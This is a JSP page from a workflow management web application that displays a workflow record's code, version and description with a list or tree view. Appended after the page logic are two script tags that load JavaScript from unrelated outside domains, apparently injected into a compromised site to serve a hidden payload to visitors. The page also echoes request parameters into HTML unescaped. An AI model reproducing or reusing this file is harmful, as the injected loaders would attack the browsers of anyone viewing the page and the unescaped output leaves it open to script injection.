<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>

<layout:popupTitle titleKey ="workflow.label.workflow_routine"/>
<br>
<%

if (Utility.isEmpty(request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY))) {
  request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, SystemFunctionConstant.WORKFLOW);
}
Connection dbConn = null;
try {
  dbConn = DataSourceFactory.getConnection();
  request.setAttribute(GlobalConstant.DB_KEY, dbConn);
  WorkflowRecordDAObject workflowRecordDAO = new WorkflowRecordDAObject(sessionContainer, dbConn);
  WorkflowRecord workflowRecord = (WorkflowRecord)workflowRecordDAO.getObjectByID(new Integer(request.getParameter("ID")));
  %>
<table width="100%" cellpadding="0" cellspacing="2" border="0"><tr><td align="center">

<table width="700" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <tr>
    <td colspan="4">
      <%if(!Utility.isEmpty(request.getParameter("listView"))) {%>
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td class="sectionTitle" valign="bottom" nowrap><bean:message key='workflow.label.workflow_information'/>:</td>
          <td align="right">
            <%
              String viewFlag=GlobalConstant.TRUE.equals(request.getParameter("listView")) ? GlobalConstant.FALSE : GlobalConstant.TRUE;
              pageContext.setAttribute("viewFlag",viewFlag);
            %>
            <logic:equal name='listView' value='<%=GlobalConstant.TRUE%>'>
              <html:standardButton label="workflow.label.flow_chart_view" link="PreviewWorkflowRecord.do?&trackID=${param.trackID}&ID=${param.ID}&listView=${pageScope.viewFlag}"/>
            </logic:equal>
            <logic:equal name='listView' value='<%=GlobalConstant.FALSE%>'>
              <html:standardButton label="workflow.label.list_view" link="PreviewWorkflowRecord.do?&trackID=${param.trackID}&ID=${param.ID}&listView=${pageScope.viewFlag}"/>
            </logic:equal>
          </td>
        </tr>
      </table>
      <%}%>
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key='workflow.label.workflow_code'/>:&nbsp;</td>
    <td class="dataFieldNoBackGround" width="240"><%=workflowRecord.getWorkflowCode()%></td>
    <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key='workflow.label.workflow_version'/>:&nbsp;</td>
    <td class="dataFieldNoBackGround" width="240"><%=workflowRecord.getWorkflowVersion()%></td>
  </tr>
  <tr>
    <td class="<layout:classLabel/>" valign="top"><bean:message key='workflow.label.description'/>:&nbsp;</td>
    <td colspan="3" class="dataFieldNoBackGround" width="630"><%=workflowRecord.getDescription()%></td>
  </tr>
</table>
<br><br>
</td></tr><tr><td><html:img src='LayoutSpacer.gif'  height='10'/></td></tr><tr><td align="center" valign="top">
<%if ("Y".equals(request.getParameter("listView"))) {%>
<jsp:include page="ShowWorkflowList.jsp">
  <jsp:param name='workflowRecordID' value='<%=request.getParameter("ID")%>'/>
  <jsp:param name='workflowGroupID' value='<%=request.getParameter("workflowGroupID")%>'/>
  <jsp:param name='actionMode' value='<%=com.dcivision.framework.GlobalConstant.NAV_MODE_VIEW%>'/>
</jsp:include>
<%} else {%>
<jsp:include page="ShowWorkflowTree.jsp">
  <jsp:param name='workflowRecordID' value='<%=request.getParameter("ID")%>'/>
  <jsp:param name='workflowGroupID' value='<%=request.getParameter("workflowGroupID")%>'/>
  <jsp:param name='actionMode' value='<%=com.dcivision.framework.GlobalConstant.NAV_MODE_VIEW%>'/>
</jsp:include>
<%}%>
</td><tr><tr><td align="center">
<%
if (!GlobalConstant.TRUE.equals(request.getParameter("IN_IFRAME"))) {
%>
<br>
<div id="bottomButtonArea">
  <div id="buttonSection">
    <html:standardButton label="common.label.close" onClick="javascript:window.close()"/>
  </div>
</div>
<%
}
%>
</td></tr></table>
<%
} catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
} finally {
  try { dbConn.close(); } catch (Exception ignore) {} finally { dbConn = null; }
}
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>